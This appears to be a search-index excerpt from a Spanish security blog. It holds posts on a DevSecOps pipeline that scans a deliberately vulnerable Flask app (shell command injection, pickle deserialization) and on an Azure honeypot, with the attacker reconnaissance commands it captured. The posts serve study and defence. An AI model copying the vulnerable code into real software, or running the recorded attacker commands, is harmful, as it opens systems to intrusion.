limitaciones que había vivido.\nInstalé Windows 10. Todo “simplemente funcionaba”.\nY ahí comenzó el verdadero problema: el estancamiento.\nCuando todo funciona sin esfuerzo, cuando no hay fricción, cuando el sistema hace todo por ti… dejas de aprender. Mi curiosidad informática, que antes me obligaba a investigar cada error, a entender cada proceso, se había atrofiado. Me había vuelto un usuario pasivo, un consumidor de tecnología en lugar de un creador con ella.\nHabía cambiado mi hambre de conocimiento por la comodidad de la ignorancia funcional.\n🔥 El Punto de Inflexión: La Nigredo y el Llamado Profesional En alquimia, la nigredo es la fase de putrefacción, de muerte del viejo ser. Es el momento donde todo lo que creías saber se desmorona. Para mí, llegó cuando decidí profesionalizarme en tecnología.\nEl Despertar: Ciberseguridad y la Realidad Incómoda Empecé a estudiar informática en mis tiempos libres, con la meta de eventualmente entrar a la universidad o a un instituto técnico. Mi interés se inclinó naturalmente hacia la ciberseguridad — un campo que me parecía fascinante por su naturaleza de resolver puzzles, de pensar como un atacante para defender mejor.\nY ahí me golpeó la realidad como un balde de agua fría:\nCasi todas las herramientas profesionales de seguridad son nativas de Linux.\nKali Linux, Parrot OS, las herramientas de pentesting, los frameworks de exploit, los laboratorios de análisis forense, la gestión de redes… todo, absolutamente todo, estaba diseñado primero para entornos Unix-like. Windows era, en el mejor de los casos, un ciudadano de segunda clase.\nIntentar ser un profesional de ciberseguridad usando solo Windows es como intentar ser chef profesional usando solo un microondas. Técnicamente se puede, pero estás fundamentalmente limitado por tu herramienta.\nAdemás, empecé a notar que:\nTodos los tutoriales buenos estaban centrados en Linux La documentación oficial de herramientas asumía un entorno Unix Los profesionales del campo usaban Linux como estándar Windows Subsystem for Linux (WSL) era un parche sobre un problema fundamental Tenía dos opciones: seguir nadando contra la corriente o adaptarme.\nEl Tercer Intento: Hardware Mejor, Mentalidad Diferente Para ese entonces había cambiado de PC nuevamente — un portátil “gamer” bastante potente pero que representaba un downgrade desde mi perspectiva (movilidad a cambio de expansibilidad, una decisión que aún cuestiono).\nCon conocimientos ya más sólidos de programación, sistemas y redes, decidí darle a Linux una tercera oportunidad. Esta vez no por curiosidad adolescente, sino por necesidad profesional.\nY me llevé la sorpresa de mi vida.\n🐧 La Albedo: El Renacimiento en Linux (2020-2026) En alquimia, la albedo es la fase de purificación, donde emerge algo nuevo y refinado de las cenizas de lo viejo. Mi encuentro con el Linux moderno fue exactamente eso.\nMi escritorio actual: Arch Linux con Hyprland, múltiples terminales y un flujo de trabajo optimizado\nEl Cambio de Paradigma: Linux Había Madurado (o Yo Había Madurado) No sé en qué momento exacto ocurrió el cambio — si fue Linux el que","date":"2026-02-02","section":"posts","series":null,"summary":" “[[transmutacion-digital|Solve et coagula]]” — Axioma alquímico: disolver lo viejo para cristalizar lo nuevo.\nFecha: 02 de Febrero de 2026\nEl debate entre Windows y Linux suele ser circular, pasional y, a menudo, poco productivo. Ambos bandos esgrimen argumentos técnicos mientras ignoran el elefante en la habitación: que la mayoría de nuestras preferencias tecnológicas no son racionales, sino viscerales. Son el producto de años de condicionamiento, de caminos de menor resistencia, de inercias heredadas.\n","tags":["linux","windows","open-source","career","reflection","ciberseguridad","hyprland","tiling-wm"],"title":"De la Inercia a la Libertad: Mi Odisea Personal hacia Linux","url":"/posts/de-la-inercia-a-la-libertad/"},{"content":"En la alquimia, el Ouroboros simboliza el ciclo eterno de renovación. En el desarrollo de software moderno, este ciclo es el CI/CD (Integración y Despliegue Continuo). Pero un ciclo infinito de código roto o inseguro solo acelera el desastre.\n🔗 Código Fuente: Puedes consultar el repositorio completo y su evolución en GitHub:\ngithub.com/Fennek115/Ouroboros-proyect\nPara mi segundo proyecto de laboratorio, decidí implementar una pipeline DevSecOps real. El objetivo: automatizar la detección de “impurezas” ([[pentest-teorico-vs-practico|vulnerabilidades]]) antes de que el código toque producción, aplicando la filosofía Shift Left.\n🧪 La Materia Prima: Un Entorno Vulnerable Para probar la eficacia del escáner, creé una aplicación en Flask diseñada intencionalmente para ser insegura. Como se ve en mi repositorio, la premisa es simple: el código se crea, se analiza y se despliega, buscando la resiliencia ante errores y ataques.\nEl repositorio contiene:\napp.py: Una API con vulnerabilidades de inyección y deserialización. requirements.txt: Dependencias desactualizadas y peligrosas. app.py (Vulnerable) import os import pickle from flask import Flask, request app = Flask(__name__) @app.route('/ping') def ping(): # VULNERABILIDAD: Command Injection ip = request.args.get('ip') return os.popen(f\"ping -c 1 {ip}\").read() @app.route('/data', methods=['POST']) def load_data(): # VULNERABILIDAD: Insecure Deserialization data = request.data obj = pickle.loads(data) return \"Data loaded\" if __name__ == '__main__': app.run(debug=True) requirements.txt (Desactualizado) flask==0.12 requests==2.19.0 🔍 El Proceso de Transmutación (Análisis SAST) Integré Snyk dentro de GitHub Actions para analizar el código estático cada vez que hago un push. Los resultados fueron inmediatos y alarmantes. El motor de análisis semántico detectó fallos críticos en mi lógica:\nCommand Injection (Severidad Alta - Score 825): En la línea 12 de app.py, el código os.popen(f\"ping -c 1 {ip}\").read() permite que un atacante concatene comandos del sistema operativo si no se sanea la entrada ip. Deserialization of Untrusted Data (Severidad Alta - Score 825): En la línea 19, el uso de pickle.loads(data) sobre datos recibidos en un POST permite la ejecución remota de código (RCE), ya que pickle no es seguro para datos no confiables. Además, se detectó un riesgo de XSS (Cross-site Scripting) y la mala práctica de dejar el Debug Mode habilitado en producción.\n📦 Las Impurezas en los Ingredientes (Análisis SCA) No solo mi código estaba “sucio”, sino también los ingredientes que usé. El análisis de composición de software (SCA) reveló que estaba construyendo sobre cimientos podridos:\nRequests 2.19.0: Esta versión tiene vulnerabilidades conocidas de exposición de información. Snyk sugiere actualizar inmediatamente a la versión 2.20 o superior. Flask 0.12: Una versión muy antigua con riesgo de Denegación de Servicio (DoS) y validación de entrada impropia. La recomendación es un salto mayor a la versión 1.x o 2.x. Lo interesante es que Snyk no solo marca el error, sino que también analiza las dependencias transitivas (librerías que usan mis librerías), como los problemas encontrados en urllib3 y werkzeug.\n🛡️ Conclusión: El Ciclo Virtuoso Este experimento demuestra por qué no podemos confiar solo en la revisión manual. En segundos, el pipeline automático identificó vectores de ataque que podrían haber comprometido el servidor completo (RCE).\nEl proyecto Ouroboros no solo cierra el ciclo de desarrollo, sino que lo purifica. Ahora, ningún código llega a la rama main sin haber pasado por este fuego purificador.\n🛡️ La Transmutación: Purificando el Código Para remediar las vulnerabilidades críticas detectadas por Snyk, apliqué una estrategia de “Defensa en Profundidad”. No bastaba con validar; también había que asegurar la forma en que la aplicación responde.\nEl análisis persistente de Snyk me alertó de un riesgo residual de XSS (Cross-Site Scripting) al devolver la salida del comando directamente. Para solucionarlo, estandaricé todas las respuestas a JSON.\napp.py (Versión Final Segura) import subprocess import json import ipaddress from flask import Flask, request, jsonify app = Flask(__name__) @app.route('/ping') def ping(): ip = request.args.get('ip') # 1. VALIDACIÓN (Input Validation) # Usamos ipaddress para asegurar que SOLO entra una IP válida. try: ip_obj = ipaddress.ip_address(ip) except ValueError: return jsonify({\"error\": \"IP inválida\"}), 400 # 2. EJECUCIÓN SEGURA (No Shell) # Reemplazamos os.popen con subprocess.run sin shell. # Esto evita la inyección de comandos porque los argumentos no se interpretan. try: result = subprocess.run( ['ping', '-c', '1', str(ip_obj)], capture_output=True, text=True, timeout=5 ) # 3. MITIGACIÓN XSS (Output Encoding) # Snyk alertó que devolver texto plano podría causar XSS. # Al envolver la respuesta en jsonify, forzamos el Content-Type 'application/json', # neutralizando cualquier intento de inyección de HTML/JS en la respuesta. return jsonify({\"status\": \"success\", \"output\": result.stdout}) except subprocess.TimeoutExpired: return jsonify({\"error\": \"Ping timeout\"}), 504 @app.route('/data', methods=['POST']) def load_data(): # 4. DESERIALIZACIÓN SEGURA # Reemplazo total de pickle por JSON. try: data = request.get_json() if not data: return jsonify({\"error\": \"No JSON provided\"}), 400 return jsonify({\"status\": \"Data loaded securely\", \"content\": data}) except Exception as e: return jsonify({\"error\": str(e)}), 500 if __name__ == '__main__': # 5. HARDENING # Desactivamos debug para no exponer stack traces en producción. app.run(debug=False) “La seguridad no es algo estatico, es mas bien un ciclo continuo.”\n","date":"2026-01-30","section":"posts","series":null,"summary":"En la alquimia, el Ouroboros simboliza el ciclo eterno de renovación. En el desarrollo de software moderno, este ciclo es el CI/CD (Integración y Despliegue Continuo). Pero un ciclo infinito de código roto o inseguro solo acelera el desastre.\n🔗 Código Fuente: Puedes consultar el repositorio completo y su evolución en GitHub:\ngithub.com/Fennek115/Ouroboros-proyect\nPara mi segundo proyecto de laboratorio, decidí implementar una pipeline DevSecOps real. El objetivo: automatizar la detección de “impurezas” ([[pentest-teorico-vs-practico|vulnerabilidades]]) antes de que el código toque producción, aplicando la filosofía Shift Left.\n","tags":["cybersecurity","ci-cd","python","snyk","proyecto"],"title":"Proyecto Ouroboros: Automatizando la Inmortalidad del Código con DevSecOps","url":"/posts/proyecto-ouroboros/"},{"content":"La Alquimia de Datos: Transformando Ruido en Inteligencia En la antigua práctica de la alquimia, el Athanor era el horno de destilación donde los maestros separaban las impurezas del metal base para obtener oro. En la ciberseguridad moderna, este mismo principio se aplica cuando desplegamos honeypots: exponemos deliberadamente sistemas señuelo para capturar tráfico hostil y, mediante un proceso riguroso de análisis forense, destilamos inteligencia procesable desde el ruido constante de internet.\nProject Athanor nace como un [[athanor-setup|experimento controlado para medir]] la hostilidad de la nube pública. La pregunta era simple pero reveladora: ¿cuánto tiempo tarda una dirección IP recién expuesta en recibir su primer ataque? La respuesta resultó ser dramática y aleccionadora.\n)\nLa Infraestructura: Especificaciones y el Colapso Inevitable Para este experimento se desplegó una máquina virtual en Microsoft Azure con las siguientes especificaciones técnicas:\nRecursos de Cómputo:\nTipo de instancia: Standard_D2s_v3 (2 vCPUs Intel Xeon, 8 GB RAM) Sistema operativo: Ubuntu 24.04 LTS Plataforma de honeypot: T-Pot 24.04 (Community Edition) Stack de análisis: Elasticsearch, Logstash, Kibana (ELK) Contenedores desplegados: 22 honeypots simultáneos (Cowrie, Dionaea, Suricata, Honeytrap, entre otros) Configuración de Red:\nDirección IP pública expuesta sin restricciones de firewall Puertos expuestos: SSH (22/2222), HTTP (80), HTTPS (443), FTP (21), MySQL (3306), MSSQL (1433), RDP (3389), MongoDB (27017), y más de 30 puertos adicionales simulando servicios vulnerables T-Pot es una plataforma “All-in-One” que integra múltiples honeypots especializados dentro de contenedores Docker, centralizando logs en Elasticsearch para visualización mediante Kibana. La arquitectura permite capturar ataques desde múltiples vectores simultáneamente: fuerza bruta SSH, exploits web, escaneos de bases de datos, y malware de IoT.\nEl Colapso: Anatomía de una Falla Catastrófica Timeline del Incidente:\nT+00:00 - Instancia desplegada, IP pública asignada T+00:10 - Primera alerta de conectividad perdida T+00:12 - Conexión SSH totalmente no responsiva T+00:15 - Portal de Azure confirma estado “Running” pero sin respuesta de red Lo que inicialmente se diagnosticó como un simple problema de recursos reveló un escenario técnico más complejo. El servidor no simplemente “se quedó sin memoria”; experimentó una condición crítica de competencia por recursos entre múltiples procesos de alta demanda.\nAnálisis Técnico del Colapso:\nEl stack de Elasticsearch consume agresivamente memoria JVM (Java Virtual Machine), típicamente configurado para utilizar entre 2-4 GB de heap memory. Simultáneamente, los 22 contenedores de honeypots procesaban conexiones entrantes masivas, cada uno escribiendo logs a disco y enviándolos al pipeline de Logstash para indexación en tiempo real. Esta combinación creó un escenario de presión extrema sobre los 8 GB disponibles.\nCuando la memoria física se agotó, el kernel de Linux invocó al OOM Killer (Out of Memory Killer), un mecanismo de último recurso que selecciona procesos para terminar basándose en heurísticas de consumo de memoria y prioridad. En este caso, el OOM Killer comenzó a sacrificar contenedores Docker aleatorios, pero el proceso de Elasticsearch (siendo el mayor consumidor) eventualmente también fue terminado, colapsando todo el stack de visualización.\nEste comportamiento es característico de sistemas sin límites de recursos adecuadamente configurados mediante cgroups. Sin las restricciones --memory y --memory-swap en Docker, los contenedores pueden competir sin control hasta agotar los recursos del host, generando lo que se conoce como “noisy neighbor problem” pero a escala de un solo sistema.\nResolución y Recuperación:\nSe ejecutó un hard reboot desde el portal de Azure. Tras reiniciar, se implementaron límites de memoria temporales y se monitoreó activamente el consumo de recursos. El sistema se mantuvo estable por aproximadamente cuatro horas antes de un apagado controlado, período durante el cual se capturaron 5,324 eventos de ataque distribuidos en múltiples vectores.\nAnálisis Forense Shell: Descifrando Intenciones Maliciosas El honeypot Cowrie simula un shell SSH interactivo completo, registrando cada comando ejecutado por atacantes que logran “autenticarse” mediante credenciales comunes. Este enfoque permite observar el comportamiento post-explotación sin exponer sistemas reales.\nEl Comando más Revelador Del dataset capturado, el comando más sofisticado técnicamente fue:\ncd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FVYZL Este comando aparentemente simple revela múltiples técnicas de evasión y reconocimiento:\nAnálisis Línea por Línea:\n1. cd /dev/shm - El directorio /dev/shm (Shared Memory) es una partición tmpfs montada en RAM. A diferencia del disco tradicional, los archivos escritos aquí:\nNo dejan rastros persistentes (se borran al reiniciar) Evitan triggers de antivirus basados en monitoreo de archivos Permiten ejecución más rápida (I/O de memoria vs disco) No generan logs en sistemas de auditoría de acceso a disco Esta es una técnica fundamental de fileless malware, donde el payload malicioso opera exclusivamente en memoria volátil para minimizar detección forense.\n2. cat .s - Intenta leer un archivo oculto (prefijo . lo hace invisible en listados básicos). Este archivo probablemente contiene:\nUn script de segunda etapa Una lista de comandos codificados Un payload binario codificado en base64 3. || cp /bin/echo .s - El operador || (OR lógico) ejecuta este comando solo si cat .s falla (archivo no existe). Esta es una técnica de fingerprinting del sistema:\nSi cp tiene éxito, confirma que /bin/echo existe (sistema tipo Unix/Linux) Si falla, el atacante sabe que el sistema usa rutas no estándar Permite al atacante mapear la estructura de binarios disponibles 4. /bin/busybox FVYZL - BusyBox es un ejecutable que combina múltiples utilidades Unix en un solo binario, común en sistemas embebidos e IoT. El parámetro FVYZL es particularmente revelador:\nBusyBox responde listando todos sus módulos disponibles cuando recibe un argumento inválido Esto expone qué herramientas tiene disponibles el sistema (wget, ftpget, tftp, nc, etc.) El atacante usa esta técnica para determinar vectores de descarga de malware adicional Contexto de la Cadena de Ataque Este comando forma parte de una secuencia más amplia observada en el dataset:\ncat /proc/mounts; /bin/busybox FVYZL cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FVYZL dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done \u003c .s rm .s; exit La progresión muestra una operación estructurada:\nReconocimiento inicial del sistema de archivos (/proc/mounts) Identificación de capacidades del sistema (BusyBox fingerprinting) Cambio a memoria compartida y búsqueda de payload Lectura de instrucciones (con múltiples métodos de fallback) Limpieza de evidencia (rm .s) Esta secuencia es consistente con botnets de IoT automatizados, particularmente variantes de Mirai o Gafgyt, que buscan infectar dispositivos con recursos limitados para integrarlos en redes de DDoS.\nInteligencia de Red: El Arsenal de los Atacantes Suricata es un motor de detección de intrusiones (IDS) de código abierto que analiza tráfico de red en tiempo real contra firmas conocidas de ataques. Durante las cuatro horas operativas, Suricata generó 3,920 alertas únicas clasificadas en múltiples categorías de amenaza.\nAlertas Prioritarias: DoublePulsar y Exploits Legacy Alerta #1: DoublePulsar Backdoor (1,596 detecciones)\nET EXPLOIT [PTsecurity] DoublePulsar Backdoor installation communication DoublePulsar es un implante de backdoor desarrollado por la NSA y filtrado por el grupo Shadow Brokers en 2017. Funciona como un módulo kernel-mode para Windows que permite:\nInyección de código arbitrario sin tocar el disco Bypass de controles de seguridad a nivel kernel Persistencia invisible a herramientas de análisis en user-mode Aunque el exploit or","date":"2026-01-28","section":"posts","series":null,"summary":"La Alquimia de Datos: Transformando Ruido en Inteligencia En la antigua práctica de la alquimia, el Athanor era el horno de destilación donde los maestros separaban las impurezas del metal base para obtener oro. En la ciberseguridad moderna, este mismo principio se aplica cuando desplegamos honeypots: exponemos deliberadamente sistemas señuelo para capturar tráfico hostil y, mediante un proceso riguroso de análisis forense, destilamos inteligencia procesable desde el ruido constante de internet.\n","tags":["Azure","Honeypot","T-Pot","Malware Analysis","OOM Killer","Forensics","proyecto"],"title":"Project Athanor: 5,000 Ataques en 4 Horas - Análisis Forense de un Honeypot","url":"/posts/project-athanor/"},{"content":"El Concepto: De la Alquimia a la Ciberseguridad En la tradición alquímica, el Athanor es el horno que mantiene un calor constante para la digestión de la materia prima, transformándola mediante reacciones controladas en algo de mayor valor. Esta metáfora se traslada perfectamente al dominio de la ciberseguridad ofensiva y defensiva: el honeypot es nuestro Athanor moderno, un contenedor virtual que debe mantenerse encendido y estable mientras ocurren reacciones violentas en su interior—los ataques automatizados de bots, exploits oportunistas, y reconocimiento de actores maliciosos. Nosotros, los analistas de seguridad, somos los alquimistas que observan cómo se “cocina” el malware, extrayendo inteligencia procesable del caos.\nProject Athanor nace como una iniciativa de investigación práctica para comprender el panorama de amenazas contemporáneo mediante la exposición deliberada de infraestructura señuelo en la nube pública. A diferencia de sistemas de producción que deben protegerse, un honeypot invierte la ecuación: maximizamos la exposición para maximizar la captura de datos.\nArquitectura de Despliegue: Microsoft Azure como Fundación La elección de Microsoft Azure como plataforma de despliegue responde a criterios tanto técnicos como estratégicos. Azure proporciona infraestructura global con presencia en múltiples regiones geográficas, asegurando que nuestra dirección IP pública esté expuesta a diferentes patrones de tráfico según la localización del datacenter. Para este proyecto, la región específica seleccionada resulta secundaria; el objetivo primordial es la visibilidad máxima ante potenciales atacantes.\nConfiguración de la Máquina Virtual La instancia seleccionada fue Standard_D2s_v3, una configuración equilibrada que proporciona 2 vCPUs y 8 GB de memoria RAM. Esta especificación no es arbitraria: T-Pot, la plataforma de honeypot que implementaremos, ejecuta múltiples contenedores Docker simultáneamente junto con un stack completo de Elasticsearch-Logstash-Kibana para análisis. Los 8 GB de RAM son el mínimo recomendado para operación estable bajo carga moderada, aunque como documentaremos posteriormente, incluso esta capacidad resultó insuficiente ante el volumen de ataques recibidos.\nUn aspecto crítico en la configuración inicial fue la modificación deliberada del nivel de seguridad de Azure. Por defecto, Azure aplica políticas de seguridad restrictivas que incluyen Azure Security Center con recomendaciones activas y escaneo de vulnerabilidades. Para los propósitos de este honeypot, estos controles fueron ajustados al nivel Estándar, eliminando capas de protección que interferirían con nuestra capacidad de capturar tráfico malicioso genuino. Esta decisión debe ser explícita: estamos construyendo un sistema diseñado para ser atacado, no protegido.\nEstablecimiento de Acceso Seguro: Gestión de Claves SSH La paradoja de un honeypot es que mientras debe ser vulnerable a atacantes externos, requiere canales de administración fuertemente protegidos para el operador legítimo. La solución estándar es la autenticación mediante claves asimétricas SSH, específicamente algoritmos de curva elíptica Ed25519 que ofrecen seguridad equivalente a RSA-3072 con claves significativamente más pequeñas.\nLa generación de claves se realizó localmente en la estación de trabajo del operador mediante el siguiente comando:\nssh-keygen -t ed25519 -f ~/.ssh/azure_honeypot Este proceso genera un par de claves: la privada (azure_honeypot) que permanece exclusivamente en la máquina del operador, y la pública (azure_honeypot.pub) que se distribuye al servidor. El parámetro -f especifica la ruta de salida, permitiendo mantener múltiples identidades SSH organizadas por proyecto o infraestructura.\nDurante la creación de la máquina virtual en el portal de Azure, en la sección de configuración de cuenta de administrador, se seleccionó la opción de utilizar clave pública SSH existente, pegando el contenido del archivo azure_honeypot.pub. Esta configuración asegura que únicamente quien posea la clave privada correspondiente pueda establecer sesiones SSH autenticadas, independientemente del conocimiento de credenciales de usuario y contraseña.\nNetwork Security Groups: Exponiendo el Perímetro Azure implementa por defecto una postura de seguridad de denegación implícita (deny-by-default), bloqueando todo tráfico entrante excepto el puerto 22 para administración SSH. Para un honeypot, esta configuración es contraproducente: necesitamos exponer el mayor número posible de puertos para simular servicios vulnerables que atraigan reconocimiento automatizado.\nLa solución requiere la creación de un Network Security Group (NSG) personalizado con reglas permisivas. Durante el proceso de creación de la máquina virtual, en la pestaña de Redes y específicamente en la sección Configurar el grupo de seguridad de red, se selecciona la opción de crear un nuevo NSG. La regla fundamental que establecimos fue:\nPrioridad: 100 Nombre: AllowAllInbound Puerto: * (todos) Protocolo: Cualquiera Acción: Permitir Origen: Internet Esta regla permite tráfico entrante desde cualquier origen en cualquier puerto, maximizando nuestra superficie de ataque observable. Es importante comprender que esta configuración sería catastrófica en un sistema de producción, pero es precisamente el comportamiento deseado en un honeypot: queremos ser escaneados, probados y atacados.\nConexión Inicial y Preparación del Sistema Base Una vez desplegada la máquina virtual, Azure proporciona la dirección IP pública asignada en la sección de Conectar del panel de control de la VM. La conexión inicial se establece mediante SSH utilizando la clave privada generada previamente:\nssh -i ~/.ssh/azure_honeypot dust115@20.81.132.79 El parámetro -i especifica explícitamente qué identidad (clave privada) debe utilizarse para la autenticación. Una vez establecida la conexión, el prompt del sistema confirma que hemos ingresado exitosamente al servidor—en términos alquímicos, hemos abierto la puerta del Athanor para prepararlo antes de iniciar el proceso de destilación.\nLa preparación del sistema operativo base sigue prácticas estándar de hardening y actualización. Ubuntu 24.04 LTS proporciona una base sólida, pero requiere actualización de paquetes y configuración de herramientas esenciales:\nsudo apt update \u0026\u0026 sudo apt upgrade -y sudo apt install git -y El comando combinado update \u0026\u0026 upgrade asegura que todos los paquetes instalados estén en sus versiones más recientes, parcheando vulnerabilidades conocidas en el sistema operativo subyacente. La instalación de Git permite clonar repositorios de código, específicamente el repositorio de T-Pot que implementaremos a continuación.\nInstalación de T-Pot: El Stack Completo de Honeypot T-Pot es una plataforma desarrollada por Deutsche Telekom Security que integra más de 20 honeypots especializados en una arquitectura containerizada basada en Docker. La filosofía de diseño es “todo en uno”: análisis de red con Suricata, honeypots de SSH (Cowrie), servicios web (Dionaea, Tanner), bases de datos (ElasticPot), y servicios industriales SCADA (Conpot), todos centralizando sus logs en un stack de Elasticsearch para visualización mediante Kibana.\nLa instalación se inicia clonando el repositorio oficial:\ngit clone https://github.com/telekom-security/tpotce cd tpotce ./install.sh El script install.sh es un instalador interactivo que detecta automáticamente las características del sistema y descarga las dependencias necesarias. Durante la ejecución, presenta diversas opciones de configuración que permiten personalizar qué honeypots específicos se desplegarán.\nSelección del Perfil de Despliegue T-Pot ofrece múltiples perfiles predefinidos según el caso de uso y los recursos disponibles:\nHIVE (H): Instalación completa con todos los honeypots disponibles. Requiere recursos significativos pero proporciona cobertura máxima de vectores de ataque. SENSOR: Perfil optimizado para despliegues distribuidos donde múltiples sensores rep","date":"2026-01-28","section":"posts","series":null,"summary":"El Concepto: De la Alquimia a la Ciberseguridad En la tradición alquímica, el Athanor es el horno que mantiene un calor constante para la digestión de la materia prima, transformándola mediante reacciones controladas en algo de mayor valor. Esta metáfora se traslada perfectamente al dominio de la ciberseguridad ofensiva y defensiva: el honeypot es nuestro Athanor moderno, un contenedor virtual que debe mantenerse encendido y estable mientras ocurren reacciones violentas en su interior—los ataques automatizados de bots, exploits oportunistas, y reconocimiento de actores maliciosos. Nosotros, los analistas de seguridad, somos los alquimistas que observan cómo se “cocina” el malware, extrayendo inteligencia procesable del caos.\n","tags":["Azure","Honeypot","T-Pot","DevSecOps","Infrastructure","SSH","proyecto"],"title":"Project Athanor: Forjando el Horno Alquímico - Despliegue de Honeypot en Azure","url":"/posts/athanor-setup/"},{"content":" 🎵 Bleed — Meshuggah de obZen Este es el primer commit en el repositorio de mi autenticidad.\nComo en Git, cada post es una instantánea de mi pensamiento en un momento específico. Cada entrada tiene su hash único, su timestamp, su mensaje de commit.\nLa diferencia es que en Git puedes hacer git revert. En la vida, no. Aunque según Nietzsche, si el tiempo es infinito y la materia finita, eventualmente todo se repetirá. Quizás ya hemos vivido este momento miles de veces. Quizás ya he escrito este post en iteraciones anteriores del universo.\nEl eterno retorno no es una condena. Es una invitación a vivir cada momento como si fuera a repetirse eternamente. ¿Vivirías diferente si supieras que cada elección se repetiría infinitamente?\nEste archivo digital es mi respuesta. Cada post es una huella. Cada commit es decir: “esto existió, esta fue mi marca en este ciclo”.\ngit log --all --graph --oneline para ver el árbol de tu historia.\ncommit a7d9f82 Date: 2025-02-08 03:47 AM Reflections on eternal recurrence ","date":"2025-02-08","section":"posts","series":null,"summary":"Este es el primer commit en el repositorio de mi autenticidad. Una reflexión sobre el eterno retorno y el control de versiones.","tags":["meta","filosofía","inicio"],"title":"Primer Commit del Eterno Retorno","url":"/posts/primer-post/"}]